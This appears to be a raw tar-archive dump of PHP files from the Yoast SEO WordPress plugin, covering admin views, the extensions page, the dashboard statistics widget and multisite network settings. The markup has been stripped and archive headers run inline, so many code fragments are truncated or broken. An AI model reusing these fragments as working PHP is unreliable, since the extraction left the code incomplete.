$premium_upsell_url = WPSEO_Shortlinker::get( $integration->premium_upsell_url ); } $preserve_disabled_value = false; if ( $disabled ) { $preserve_disabled_value = true; } $yform->toggle_switch( WPSEO_Option::ALLOW_KEY_PREFIX . $integration->setting, [ 'on' => __( 'Allow Control', 'wordpress-seo' ), 'off' => __( 'Disable', 'wordpress-seo' ), ], $name, $feature_help->get_button_html() . $feature_help->get_panel_html(), [ 'disabled' => $disabled, 'preserve_disabled_value' => $preserve_disabled_value, 'show_premium_upsell' => $show_premium_upsell, 'premium_upsell_url' => $premium_upsell_url, ] ); do_action( 'Yoast\WP\SEO\admin_network_integration_after', $integration ); } ?>
    hidden( 'show_onboarding_notice', 'wpseo_show_onboarding_notice' ); views/tabs/network/crawl-settings.php000064400000003207147207033440014010 0ustar00get_all(); ?>

    '; printf( /* translators: %1$s opens the link to the Yoast.com article about Crawl settings, %2$s closes the link, */ esc_html__( '%1$sLearn more about crawl settings.%2$s', 'wordpress-seo' ), '', '' ); echo '

    '; /** * Fires when displaying the crawl cleanup network tab. * * @param Yoast_Form $yform The yoast form object. */ do_action( 'wpseo_settings_tab_crawl_cleanup_network', $yform ); ?>
    hidden( 'show_onboarding_notice', 'wpseo_show_onboarding_notice' ); views/tabs/network/restore-site.php000064400000001637147207033440013474 0ustar00' . esc_html__( 'Using this form you can reset a site to the default SEO settings.', 'wordpress-seo' ) . '

    '; if ( get_blog_count() <= 100 ) { $network_admin = new Yoast_Network_Admin(); $yform->select( 'site_id', __( 'Site ID', 'wordpress-seo' ), $network_admin->get_site_choices( false, true ) ); } else { $yform->textinput( 'site_id', __( 'Site ID', 'wordpress-seo' ) ); } wp_nonce_field( 'wpseo-network-restore', 'restore_site_nonce', false ); echo ''; views/tabs/network/features.php000064400000007300147207033440012656 0ustar00get_all(); ?>

    helpers->product->is_premium(); $premium_version = YoastSEO()->helpers->product->get_premium_version(); if ( $feature->premium && $feature->premium_version ) { $not_supported_in_current_premium_version = $is_premium && version_compare( $premium_version, $feature->premium_version, '<' ); if ( $not_supported_in_current_premium_version ) { continue; } } $help_text = esc_html( $feature->label ); if ( ! empty( $feature->extra ) ) { $help_text .= ' ' . $feature->extra; } if ( ! empty( $feature->read_more_label ) ) { $url = $feature->read_more_url; if ( ! empty( $feature->premium ) && $feature->premium === true ) { $url = $feature->premium_url; } $help_text .= sprintf( '%2$s', esc_url( WPSEO_Shortlinker::get( $url ) ), esc_html( $feature->read_more_label ) ); } $feature_help = new WPSEO_Admin_Help_Panel( WPSEO_Option::ALLOW_KEY_PREFIX . $feature->setting, /* translators: Hidden accessibility text; %s expands to a feature's name. */ sprintf( esc_html__( 'Help on: %s', 'wordpress-seo' ), esc_html( $feature->name ) ), $help_text ); $name = $feature->name; if ( ! empty( $feature->premium ) && $feature->premium === true ) { $name .= ' ' . new Premium_Badge_Presenter( $feature->name ); } if ( ! empty( $feature->in_beta ) && $feature->in_beta === true ) { $name .= ' ' . new Beta_Badge_Presenter( $feature->name ); } $disabled = false; $show_premium_upsell = false; $premium_upsell_url = ''; $note_when_disabled = ''; if ( $feature->premium === true && YoastSEO()->helpers->product->is_premium() === false ) { $disabled = true; $show_premium_upsell = true; $premium_upsell_url = WPSEO_Shortlinker::get( $feature->premium_upsell_url ); } $preserve_disabled_value = false; if ( $disabled ) { $preserve_disabled_value = true; } $yform->toggle_switch( WPSEO_Option::ALLOW_KEY_PREFIX . $feature->setting, [ 'on' => __( 'Allow Control', 'wordpress-seo' ), 'off' => __( 'Disable', 'wordpress-seo' ), ], $name, $feature_help->get_button_html() . $feature_help->get_panel_html(), [ 'disabled' => $disabled, 'preserve_disabled_value' => $preserve_disabled_value, 'show_premium_upsell' => $show_premium_upsell, 'premium_upsell_url' => $premium_upsell_url, 'note_when_disabled' => $note_when_disabled, ] ); } ?>
    hidden( 'show_onboarding_notice', 'wpseo_show_onboarding_notice' ); views/tabs/dashboard/site-analysis.php000064400000000653147207033440014067 0ustar00'; views/tabs/dashboard/dashboard.php000064400000002023147207033440013222 0ustar00

    views/partial-notifications-errors.php000064400000002202147207033440014227 0ustar00



    ID ) === 'on' ) ? 'checked' : ''; ?> />
    ID ) === 'on' ) ? 'checked' : ''; ?> />

    ID ) === 'on' ) ? 'checked' : ''; ?> />

    ID ) === 'on' ) ? 'checked' : ''; ?> />

    views/licenses.php000064400000043671147207033440010236 0ustar00 WPSEO_Shortlinker::get( 'https://yoa.st/zz' ), 'infoUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zy' ), 'title' => 'Yoast SEO Premium', /* translators: %1$s expands to Yoast SEO */ 'desc' => sprintf( __( 'The premium version of %1$s with more features & support.', 'wordpress-seo' ), 'Yoast SEO' ), 'image' => plugin_dir_url( WPSEO_FILE ) . 'packages/js/images/Yoast_SEO_Icon.svg', 'benefits' => [], ]; $extensions = [ WPSEO_Addon_Manager::LOCAL_SLUG => [ 'buyUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zt' ), 'infoUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zs' ), 'title' => 'Local SEO', 'display_title' => __( 'Stand out for local searches', 'wordpress-seo' ), 'desc' => __( 'Rank better locally and in Google Maps, without breaking a sweat!', 'wordpress-seo' ), 'image' => plugins_url( 'images/local_plugin_assistant.svg?v=' . WPSEO_VERSION, WPSEO_FILE ), 'benefits' => [ __( 'Attract more customers to your site and physical store', 'wordpress-seo' ), __( 'Automatically get technical SEO best practices for local businesses', 'wordpress-seo' ), __( 'Easily add maps, address finders, and opening hours to your content', 'wordpress-seo' ), __( 'Optimize your business for multiple locations', 'wordpress-seo' ), ], ], WPSEO_Addon_Manager::VIDEO_SLUG => [ 'buyUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zx/' ), 'infoUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zw/' ), 'title' => 'Video SEO', 'display_title' => __( 'Drive more views to your videos', 'wordpress-seo' ), 'desc' => __( 'Optimize your videos to show them off in search results and get more clicks!', 'wordpress-seo' ), 'image' => plugins_url( 'images/video_plugin_assistant.svg?v=' . WPSEO_VERSION, WPSEO_FILE ), 'benefits' => [ __( 'Automatically get technical SEO best practices for video content', 'wordpress-seo' ), __( 'Make sure your videos load quickly for users', 'wordpress-seo' ), __( 'Make your videos responsive for all screen sizes', 'wordpress-seo' ), __( 'Optimize your video previews & thumbnails', 'wordpress-seo' ), ], ], WPSEO_Addon_Manager::NEWS_SLUG => [ 'buyUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zv/' ), 'infoUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zu/' ), 'title' => 'News SEO', 'display_title' => __( 'Rank higher in Google\'s news carousel', 'wordpress-seo' ), 'desc' => __( 'Are you in Google News? Increase your traffic from Google News by optimizing for it!', 'wordpress-seo' ), 'image' => plugins_url( 'images/news_plugin_assistant.svg?v=' . WPSEO_VERSION, WPSEO_FILE ), 'benefits' => [ __( 'Optimize your site for Google News', 'wordpress-seo' ), __( 'Ping Google on the publication of a new post', 'wordpress-seo' ), __( 'Add all necessary schema.org markup', 'wordpress-seo' ), __( 'Get XML sitemaps', 'wordpress-seo' ), ], ], ]; // Add Yoast WooCommerce SEO when WooCommerce is active. if ( YoastSEO()->helpers->woocommerce->is_active() ) { $extensions[ WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ] = [ 'buyUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zr' ), 'infoUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/zq' ), 'title' => 'Yoast WooCommerce SEO', 'display_title' => __( 'Drive more traffic to your online store', 'wordpress-seo' ), /* translators: %1$s expands to Yoast SEO */ 'desc' => sprintf( __( 'Seamlessly integrate WooCommerce with %1$s and get extra features!', 'wordpress-seo' ), 'Yoast SEO' ), 'image' => plugins_url( 'images/woo_plugin_assistant.svg?v=' . WPSEO_VERSION, WPSEO_FILE ), 'benefits' => [ __( 'Write product pages that rank using the SEO analysis', 'wordpress-seo' ), __( 'Increase Google clicks with rich results', 'wordpress-seo' ), __( 'Add global identifiers for variable products', 'wordpress-seo' ), /* translators: %1$s expands to Yoast SEO, %2$s expands to WooCommerce */ sprintf( __( 'Seamless integration between %1$s and %2$s', 'wordpress-seo' ), 'Yoast SEO', 'WooCommerce' ), __( 'Turn more visitors into customers!', 'wordpress-seo' ), ], 'buy_button' => 'WooCommerce SEO', ]; } // The total number of plugins to consider is the length of the array + 1 for Premium. // @phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound $number_plugins_total = ( count( $extensions ) + 1 ); // @phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound $number_plugins_active = 0; $extensions['yoast-seo-plugin-subscription'] = [ 'buyUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/premium-page-bundle-buy' ), 'infoUrl' => WPSEO_Shortlinker::get( 'https://yoa.st/premium-page-bundle-info' ), /* translators: used in phrases such as "More information about all the Yoast plugins" */ 'title' => __( 'all the Yoast plugins', 'wordpress-seo' ), 'display_title' => __( 'Cover all your SEO bases', 'wordpress-seo' ), 'desc' => '', 'image' => plugins_url( 'images/plugin_subscription.svg?v=' . WPSEO_VERSION, WPSEO_FILE ), 'benefits' => [ __( 'Get all 5 Yoast plugins for WordPress at a big discount', 'wordpress-seo' ), __( 'Reach new customers who live near your business', 'wordpress-seo' ), __( 'Drive more views to your videos', 'wordpress-seo' ), __( 'Rank higher in Google\'s news carousel', 'wordpress-seo' ), __( 'Drive more traffic to your online store', 'wordpress-seo' ), ], /* translators: used in phrases such as "Buy all the Yoast plugins" */ 'buy_button' => __( 'all the Yoast plugins', 'wordpress-seo' ), ]; $addon_manager = new WPSEO_Addon_Manager(); $has_valid_premium_subscription = YoastSEO()->helpers->product->is_premium() && $addon_manager->has_valid_subscription( WPSEO_Addon_Manager::PREMIUM_SLUG ); /* translators: %1$s expands to Yoast SEO. */ $wpseo_extensions_header = sprintf( __( '%1$s Extensions', 'wordpress-seo' ), 'Yoast SEO' ); $new_tab_message = sprintf( '%1$s', /* translators: Hidden accessibility text. */ esc_html__( '(Opens in a new browser tab)', 'wordpress-seo' ) ); $sale_badge = ''; $premium_sale_badge = ''; if ( YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-2024-promotion' ) ) { /* translators: %1$s expands to opening span, %2$s expands to closing span */ $sale_badge_span = sprintf( esc_html__( '%1$s30%% OFF%2$s', 'wordpress-seo' ), '', '' ); $sale_badge = '
    ' . $sale_badge_span . '
    '; $premium_sale_badge = ( $has_valid_premium_subscription ) ? '' : $sale_badge; } ?>

    • ', '' ); ?>
    • ', '' ); ?>
    • ', '' ); ?>
    • ', '' ); ?>
    • ', '' ); ?>
    • ', '' ); ?>
    is_installed( WPSEO_Addon_Manager::PREMIUM_SLUG ) ) : ?>
    '; ?>

    ', '', 'Yoast SEO' ); ?>

    $extension ) : // Skip the "All the plugins" card if the user has already all the plugins active. if ( $slug === 'yoast-seo-plugin-subscription' && $number_plugins_active === $number_plugins_total ) { continue; } ?>
    has_valid_subscription( $slug ) || ! $addon_manager->is_installed( $slug ) ) : ?>

    is_installed( $slug ) ) : ?>
    has_valid_subscription( $slug ) ) : ++$number_plugins_active; ?>
    '; ?>

    views/interface-yoast-form-element.php000064400000000373147207033440014106 0ustar00%1$s', /* translators: Hidden accessibility text. */ esc_html__( 'Hide this item.', 'wordpress-seo' ) ); break; case 'dismissed': $button = sprintf( '', /* translators: Hidden accessibility text. */ esc_html__( 'Show this item.', 'wordpress-seo' ) ); break; } $notifications .= sprintf( '
    %4$s%5$s
    ', esc_attr( $notification->get_id() ), esc_attr( $notification->get_nonce() ), esc_attr( $notification->get_json() ), // This needs to be fixed in https://github.com/Yoast/wordpress-seo-premium/issues/2548. $notification, // Note: $button is properly escaped above. $button ); } return $notifications; } } $wpseo_i18n_summary = $yoast_seo_i18n_issues; if ( ! $yoast_seo_active ) { $yoast_seo_dashicon = 'yes'; $wpseo_i18n_summary = $yoast_seo_i18n_no_issues; } ?>

    ()

    esc_attr( $yoast_seo_type . '-dismissed' ), 'paper_id_prefix' => 'yoast-', 'class' => 'yoast-notifications-dismissed', 'content' => _yoast_display_notifications( $yoast_seo_dismissed, 'dismissed' ), 'collapsible' => true, 'collapsible_header_class' => 'yoast-notification', ] ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: get_output() output is properly escaped. echo $dismissed_paper->get_output(); } ?>

    views/form/select.php000064400000002115147207033440010637 0ustar00 views/class-yoast-input-select.php000064400000005645147207033440013304 0ustar00select_id = $select_id; $this->select_name = $select_name; $this->select_options = $select_options; $this->selected_option = $selected_option; } /** * Print the rendered view. * * @return void */ public function output_html() { // Extract it, because we want each value accessible via a variable instead of accessing it as an array. extract( $this->get_select_values() ); require WPSEO_PATH . 'admin/views/form/select.php'; } /** * Return the rendered view. * * @return string */ public function get_html() { ob_start(); $this->output_html(); $rendered_output = ob_get_contents(); ob_end_clean(); return $rendered_output; } /** * Add an attribute to the attributes property. * * @param string $attribute The name of the attribute to add. * @param string $value The value of the attribute. * * @return void */ public function add_attribute( $attribute, $value ) { $this->select_attributes[ $attribute ] = $value; } /** * Return the set fields for the select. * * @return array */ private function get_select_values() { return [ 'id' => $this->select_id, 'name' => $this->select_name, 'attributes' => $this->get_attributes(), 'options' => $this->select_options, 'selected' => $this->selected_option, ]; } /** * Return the attribute string, when there are attributes set. * * @return string */ private function get_attributes() { $attributes = $this->select_attributes; if ( ! empty( $attributes ) ) { array_walk( $attributes, [ $this, 'parse_attribute' ] ); return implode( ' ', $attributes ) . ' '; } return ''; } /** * Get an attribute from the attributes. * * @param string $value The value of the attribute. * @param string $attribute The attribute to look for. * * @return void */ private function parse_attribute( &$value, $attribute ) { $value = sprintf( '%s="%s"', sanitize_key( $attribute ), esc_attr( $value ) ); } } views/partial-notifications-warnings.php000064400000002101147207033440014541 0ustar00get_primary_term_taxonomies(); foreach ( $taxonomies as $taxonomy ) { $content .= $this->primary_term_field( $taxonomy->name ); $content .= wp_nonce_field( 'save-primary-term', WPSEO_Meta::$form_prefix . 'primary_' . $taxonomy->name . '_nonce', false, false ); } return $content; } /** * Generates the HTML for a hidden field for a primary taxonomy. * * @param string $taxonomy_name The taxonomy's slug. * * @return string The HTML for a hidden primary taxonomy field. */ protected function primary_term_field( $taxonomy_name ) { return sprintf( '', esc_attr( $this->generate_field_id( $taxonomy_name ) ), esc_attr( $this->generate_field_name( $taxonomy_name ) ), esc_attr( $this->get_primary_term( $taxonomy_name ) ) ); } /** * Generates an id for a primary taxonomy's hidden field. * * @param string $taxonomy_name The taxonomy's slug. * * @return string The field id. */ protected function generate_field_id( $taxonomy_name ) { return 'yoast-wpseo-primary-' . $taxonomy_name; } /** * Generates a name for a primary taxonomy's hidden field. * * @param string $taxonomy_name The taxonomy's slug. * * @return string The field id. */ protected function generate_field_name( $taxonomy_name ) { return WPSEO_Meta::$form_prefix . 'primary_' . $taxonomy_name . '_term'; } /** * Adds primary term templates. * * @return void */ public function wp_footer() { $taxonomies = $this->get_primary_term_taxonomies(); if ( ! empty( $taxonomies ) ) { $this->include_js_templates(); } } /** * Enqueues all the assets needed for the primary term interface. * * @return void */ public function enqueue_assets() { global $pagenow; if ( ! WPSEO_Metabox::is_post_edit( $pagenow ) ) { return; } $taxonomies = $this->get_primary_term_taxonomies(); // Only enqueue if there are taxonomies that need a primary term. if ( empty( $taxonomies ) ) { return; } $asset_manager = new WPSEO_Admin_Asset_Manager(); $asset_manager->enqueue_style( 'primary-category' ); $mapped_taxonomies = $this->get_mapped_taxonomies_for_js( $taxonomies ); $data = [ 'taxonomies' => $mapped_taxonomies, ]; $asset_manager->localize_script( 'post-edit', 'wpseoPrimaryCategoryL10n', $data ); $asset_manager->localize_script( 'post-edit-classic', 'wpseoPrimaryCategoryL10n', $data ); } /** * Gets the id of the primary term. * * @param string $taxonomy_name Taxonomy name for the term. * * @return int primary term id */ protected function get_primary_term( $taxonomy_name ) { $primary_term = new WPSEO_Primary_Term( $taxonomy_name, $this->get_current_id() ); return $primary_term->get_primary_term(); } /** * Returns all the taxonomies for which the primary term selection is enabled. * * @param int|null $post_id Default current post ID. * @return array */ protected function get_primary_term_taxonomies( $post_id = null ) { if ( $post_id === null ) { $post_id = $this->get_current_id(); } $taxonomies = wp_cache_get( 'primary_term_taxonomies_' . $post_id, 'wpseo' ); if ( $taxonomies !== false ) { return $taxonomies; } $taxonomies = $this->generate_primary_term_taxonomies( $post_id ); wp_cache_set( 'primary_term_taxonomies_' . $post_id, $taxonomies, 'wpseo' ); return $taxonomies; } /** * Includes templates file. * * @return void */ protected function include_js_templates() { include_once WPSEO_PATH . 'admin/views/js-templates-primary-term.php'; } /** * Generates the primary term taxonomies. * * @param int $post_id ID of the post. * * @return array */ protected function generate_primary_term_taxonomies( $post_id ) { $post_type = get_post_type( $post_id ); $all_taxonomies = get_object_taxonomies( $post_type, 'objects' ); $all_taxonomies = array_filter( $all_taxonomies, [ $this, 'filter_hierarchical_taxonomies' ] ); /** * Filters which taxonomies for which the user can choose the primary term. * * @param array $taxonomies An array of taxonomy objects that are primary_term enabled. * @param string $post_type The post type for which to filter the taxonomies. * @param array $all_taxonomies All taxonomies for this post types, even ones that don't have primary term * enabled. */ $taxonomies = (array) apply_filters( 'wpseo_primary_term_taxonomies', $all_taxonomies, $post_type, $all_taxonomies ); return $taxonomies; } /** * Creates a map of taxonomies for localization. * * @param array $taxonomies The taxononmies that should be mapped. * * @return array The mapped taxonomies. */ protected function get_mapped_taxonomies_for_js( $taxonomies ) { return array_map( [ $this, 'map_taxonomies_for_js' ], $taxonomies ); } /** * Returns an array suitable for use in the javascript. * * @param stdClass $taxonomy The taxonomy to map. * * @return array The mapped taxonomy. */ private function map_taxonomies_for_js( $taxonomy ) { $primary_term = $this->get_primary_term( $taxonomy->name ); if ( empty( $primary_term ) ) { $primary_term = ''; } $terms = get_terms( [ 'taxonomy' => $taxonomy->name, 'update_term_meta_cache' => false, 'fields' => 'id=>name', ] ); $mapped_terms_for_js = []; foreach ( $terms as $id => $name ) { $mapped_terms_for_js[] = [ 'id' => $id, 'name' => $name, ]; } return [ 'title' => $taxonomy->labels->singular_name, 'name' => $taxonomy->name, 'primary' => $primary_term, 'singularLabel' => $taxonomy->labels->singular_name, 'fieldId' => $this->generate_field_id( $taxonomy->name ), 'restBase' => ( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name, 'terms' => $mapped_terms_for_js, ]; } /** * Returns whether or not a taxonomy is hierarchical. * * @param stdClass $taxonomy Taxonomy object. * * @return bool */ private function filter_hierarchical_taxonomies( $taxonomy ) { return (bool) $taxonomy->hierarchical; } } class-yoast-dashboard-widget.php000064400000007727147207033440012746 0ustar00statistics = $statistics; $this->asset_manager = new WPSEO_Admin_Asset_Manager(); } /** * Register WordPress hooks. * * @return void */ public function register_hooks() { add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_dashboard_assets' ] ); add_action( 'admin_init', [ $this, 'queue_dashboard_widget' ] ); } /** * Adds the dashboard widget if it should be shown. * * @return void */ public function queue_dashboard_widget() { if ( $this->show_widget() ) { add_action( 'wp_dashboard_setup', [ $this, 'add_dashboard_widget' ] ); } } /** * Adds dashboard widget to WordPress. * * @return void */ public function add_dashboard_widget() { add_filter( 'postbox_classes_dashboard_wpseo-dashboard-overview', [ $this, 'wpseo_dashboard_overview_class' ] ); wp_add_dashboard_widget( 'wpseo-dashboard-overview', /* translators: %s is the plugin name */ sprintf( __( '%s Posts Overview', 'wordpress-seo' ), 'Yoast SEO' ), [ $this, 'display_dashboard_widget' ] ); } /** * Adds CSS classes to the dashboard widget. * * @param array $classes An array of postbox CSS classes. * * @return array */ public function wpseo_dashboard_overview_class( $classes ) { $classes[] = 'yoast wpseo-dashboard-overview'; return $classes; } /** * Displays the dashboard widget. * * @return void */ public function display_dashboard_widget() { echo '
    '; } /** * Enqueues assets for the dashboard if the current page is the dashboard. * * @return void */ public function enqueue_dashboard_assets() { if ( ! $this->is_dashboard_screen() ) { return; } $this->asset_manager->localize_script( 'dashboard-widget', 'wpseoDashboardWidgetL10n', $this->localize_dashboard_script() ); $this->asset_manager->enqueue_script( 'dashboard-widget' ); $this->asset_manager->enqueue_style( 'wp-dashboard' ); $this->asset_manager->enqueue_style( 'monorepo' ); } /** * Translates strings used in the dashboard widget. * * @return array The translated strings. */ public function localize_dashboard_script() { return [ 'feed_header' => sprintf( /* translators: %1$s resolves to Yoast.com */ __( 'Latest blog posts on %1$s', 'wordpress-seo' ), 'Yoast.com' ), 'feed_footer' => __( 'Read more like this on our SEO blog', 'wordpress-seo' ), 'wp_version' => substr( $GLOBALS['wp_version'], 0, 3 ) . '-' . ( is_plugin_active( 'classic-editor/classic-editor.php' ) ? '1' : '0' ), 'php_version' => PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION, ]; } /** * Checks if the current screen is the dashboard screen. * * @return bool Whether or not this is the dashboard screen. */ private function is_dashboard_screen() { $current_screen = get_current_screen(); return ( $current_screen instanceof WP_Screen && $current_screen->id === 'dashboard' ); } /** * Returns true when the dashboard widget should be shown. * * @return bool */ private function show_widget() { $analysis_seo = new WPSEO_Metabox_Analysis_SEO(); return $analysis_seo->is_enabled() && current_user_can( 'edit_posts' ); } } statistics/class-statistics-service.php000064400000016075147207033440014417 0ustar00statistics = $statistics; } /** * Fetches statistics by REST request. * * @return WP_REST_Response The response object. */ public function get_statistics() { // Switch to the user locale with fallback to the site locale. switch_to_locale( get_user_locale() ); $this->labels = $this->labels(); $statistics = $this->statistic_items(); $data = [ 'header' => $this->get_header_from_statistics( $statistics ), 'seo_scores' => $statistics['scores'], ]; return new WP_REST_Response( $data ); } /** * Gets a header summarizing the given statistics results. * * @param array $statistics The statistics results. * * @return string The header summing up the statistics results. */ private function get_header_from_statistics( array $statistics ) { // Personal interpretation to allow release, should be looked at later. if ( $statistics['division'] === false ) { return __( 'You don\'t have any published posts, your SEO scores will appear here once you make your first post!', 'wordpress-seo' ); } if ( $statistics['division']['good'] > 0.66 ) { return __( 'Hey, your SEO is doing pretty well! Check out the stats:', 'wordpress-seo' ); } return __( 'Below are your published posts\' SEO scores. Now is as good a time as any to start improving some of your posts!', 'wordpress-seo' ); } /** * An array representing items to be added to the At a Glance dashboard widget. * * @return array The statistics for the current user. */ private function statistic_items() { $transient = $this->get_transient(); $user_id = get_current_user_id(); if ( isset( $transient[ $user_id ] ) ) { return $transient[ $user_id ]; } return $this->set_statistic_items_for_user( $transient, $user_id ); } /** * Gets the statistics transient value. Returns array if transient wasn't set. * * @return array|mixed Returns the transient or an empty array if the transient doesn't exist. */ private function get_transient() { $transient = get_transient( self::CACHE_TRANSIENT_KEY ); if ( $transient === false ) { return []; } return $transient; } /** * Set the statistics transient cache for a specific user. * * @param array $transient The current stored transient with the cached data. * @param int $user The user's ID to assign the retrieved values to. * * @return array The statistics transient for the user. */ private function set_statistic_items_for_user( $transient, $user ) { $scores = $this->get_seo_scores_with_post_count(); $division = $this->get_seo_score_division( $scores ); $transient[ $user ] = [ // Use array_values because array_filter may return non-zero indexed arrays. 'scores' => array_values( array_filter( $scores, [ $this, 'filter_items' ] ) ), 'division' => $division, ]; set_transient( self::CACHE_TRANSIENT_KEY, $transient, DAY_IN_SECONDS ); return $transient[ $user ]; } /** * Gets the division of SEO scores. * * @param array $scores The SEO scores. * * @return array|bool The division of SEO scores, false if there are no posts. */ private function get_seo_score_division( array $scores ) { $total = 0; $division = []; foreach ( $scores as $score ) { $total += $score['count']; } if ( $total === 0 ) { return false; } foreach ( $scores as $score ) { $division[ $score['seo_rank'] ] = ( $score['count'] / $total ); } return $division; } /** * Get all SEO ranks and data associated with them. * * @return array An array of SEO scores and associated data. */ private function get_seo_scores_with_post_count() { $ranks = WPSEO_Rank::get_all_ranks(); return array_map( [ $this, 'map_rank_to_widget' ], $ranks ); } /** * Converts a rank to data usable in the dashboard widget. * * @param WPSEO_Rank $rank The rank to map. * * @return array The mapped rank. */ private function map_rank_to_widget( WPSEO_Rank $rank ) { return [ 'seo_rank' => $rank->get_rank(), 'label' => $this->get_label_for_rank( $rank ), 'count' => $this->statistics->get_post_count( $rank ), 'link' => $this->get_link_for_rank( $rank ), ]; } /** * Returns a dashboard widget label to use for a certain rank. * * @param WPSEO_Rank $rank The rank to return a label for. * * @return string The label for the rank. */ private function get_label_for_rank( WPSEO_Rank $rank ) { return $this->labels[ $rank->get_rank() ]; } /** * Determines the labels for the various scoring ranks that are known within Yoast SEO. * * @return array Array containing the translatable labels. */ private function labels() { return [ WPSEO_Rank::NO_FOCUS => sprintf( /* translators: %1$s expands to an opening strong tag, %2$s expands to a closing strong tag */ __( 'Posts %1$swithout%2$s a focus keyphrase', 'wordpress-seo' ), '', '' ), WPSEO_Rank::BAD => sprintf( /* translators: %s expands to the score */ __( 'Posts with the SEO score: %s', 'wordpress-seo' ), '' . __( 'Needs improvement', 'wordpress-seo' ) . '' ), WPSEO_Rank::OK => sprintf( /* translators: %s expands to the score */ __( 'Posts with the SEO score: %s', 'wordpress-seo' ), '' . __( 'OK', 'wordpress-seo' ) . '' ), WPSEO_Rank::GOOD => sprintf( /* translators: %s expands to the score */ __( 'Posts with the SEO score: %s', 'wordpress-seo' ), '' . __( 'Good', 'wordpress-seo' ) . '' ), WPSEO_Rank::NO_INDEX => __( 'Posts that should not show up in search results', 'wordpress-seo' ), ]; } /** * Filter items if they have a count of zero. * * @param array $item The item to potentially filter out. * * @return bool Whether or not the count is zero. */ private function filter_items( $item ) { return $item['count'] !== 0; } /** * Returns a link for the overview of posts of a certain rank. * * @param WPSEO_Rank $rank The rank to return a link for. * * @return string The link that shows an overview of posts with that rank. */ private function get_link_for_rank( WPSEO_Rank $rank ) { if ( current_user_can( 'edit_others_posts' ) === false ) { return esc_url( admin_url( 'edit.php?post_status=publish&post_type=post&seo_filter=' . $rank->get_rank() . '&author=' . get_current_user_id() ) ); } return esc_url( admin_url( 'edit.php?post_status=publish&post_type=post&seo_filter=' . $rank->get_rank() ) ); } } statistics/class-statistics-integration.php000064400000001347147207033440015276 0ustar00 $site_label pairs. */ public function get_site_choices( $include_empty = false, $show_title = false ) { $choices = []; if ( $include_empty ) { $choices['-'] = __( 'None', 'wordpress-seo' ); } $criteria = [ 'deleted' => 0, 'network_id' => get_current_network_id(), ]; $sites = get_sites( $criteria ); foreach ( $sites as $site ) { $site_name = $site->domain . $site->path; if ( $show_title ) { $site_name = $site->blogname . ' (' . $site->domain . $site->path . ')'; } $choices[ $site->blog_id ] = $site->blog_id . ': ' . $site_name; $site_states = $this->get_site_states( $site ); if ( ! empty( $site_states ) ) { $choices[ $site->blog_id ] .= ' [' . implode( ', ', $site_states ) . ']'; } } return $choices; } /** * Gets the states of a site. * * @param WP_Site $site Site object. * * @return array Array of $state_slug => $state_label pairs. */ public function get_site_states( $site ) { $available_states = [ 'public' => __( 'public', 'wordpress-seo' ), 'archived' => __( 'archived', 'wordpress-seo' ), 'mature' => __( 'mature', 'wordpress-seo' ), 'spam' => __( 'spam', 'wordpress-seo' ), 'deleted' => __( 'deleted', 'wordpress-seo' ), ]; $site_states = []; foreach ( $available_states as $state_slug => $state_label ) { if ( $site->$state_slug === '1' ) { $site_states[ $state_slug ] = $state_label; } } return $site_states; } /** * Handles a request to update plugin network options. * * This method works similar to how option updates are handled in `wp-admin/options.php` and * `wp-admin/network/settings.php`. * * @return void */ public function handle_update_options_request() { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: Nonce verification will happen in verify_request below. if ( ! isset( $_POST['network_option_group'] ) || ! is_string( $_POST['network_option_group'] ) ) { return; } // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: Nonce verification will happen in verify_request below. $option_group = sanitize_text_field( wp_unslash( $_POST['network_option_group'] ) ); if ( empty( $option_group ) ) { return; } $this->verify_request( "{$option_group}-network-options" ); $whitelist_options = Yoast_Network_Settings_API::get()->get_whitelist_options( $option_group ); if ( empty( $whitelist_options ) ) { add_settings_error( $option_group, 'settings_updated', __( 'You are not allowed to modify unregistered network settings.', 'wordpress-seo' ), 'error' ); $this->terminate_request(); return; } // phpcs:disable WordPress.Security.NonceVerification -- Nonce verified via `verify_request()` above. foreach ( $whitelist_options as $option_name ) { $value = null; if ( isset( $_POST[ $option_name ] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: Adding sanitize_text_field around this will break the saving of settings because it expects a string: https://github.com/Yoast/wordpress-seo/issues/12440. $value = wp_unslash( $_POST[ $option_name ] ); } WPSEO_Options::update_site_option( $option_name, $value ); } // phpcs:enable WordPress.Security.NonceVerification $settings_errors = get_settings_errors(); if ( empty( $settings_errors ) ) { add_settings_error( $option_group, 'settings_updated', __( 'Settings Updated.', 'wordpress-seo' ), 'updated' ); } $this->terminate_request(); } /** * Handles a request to restore a site's default settings. * * @return void */ public function handle_restore_site_request() { $this->verify_request( 'wpseo-network-restore', 'restore_site_nonce' ); $option_group = 'wpseo_ms'; // phpcs:ignore WordPress.Security.NonceVerification -- Nonce verified via `verify_request()` above. $site_id = ! empty( $_POST[ $option_group ]['site_id'] ) ? (int) $_POST[ $option_group ]['site_id'] : 0; if ( ! $site_id ) { add_settings_error( $option_group, 'settings_updated', __( 'No site has been selected to restore.', 'wordpress-seo' ), 'error' ); $this->terminate_request(); return; } $site = get_site( $site_id ); if ( ! $site ) { /* translators: %s expands to the ID of a site within a multisite network. */ add_settings_error( $option_group, 'settings_updated', sprintf( __( 'Site with ID %d not found.', 'wordpress-seo' ), $site_id ), 'error' ); } else { WPSEO_Options::reset_ms_blog( $site_id ); /* translators: %s expands to the name of a site within a multisite 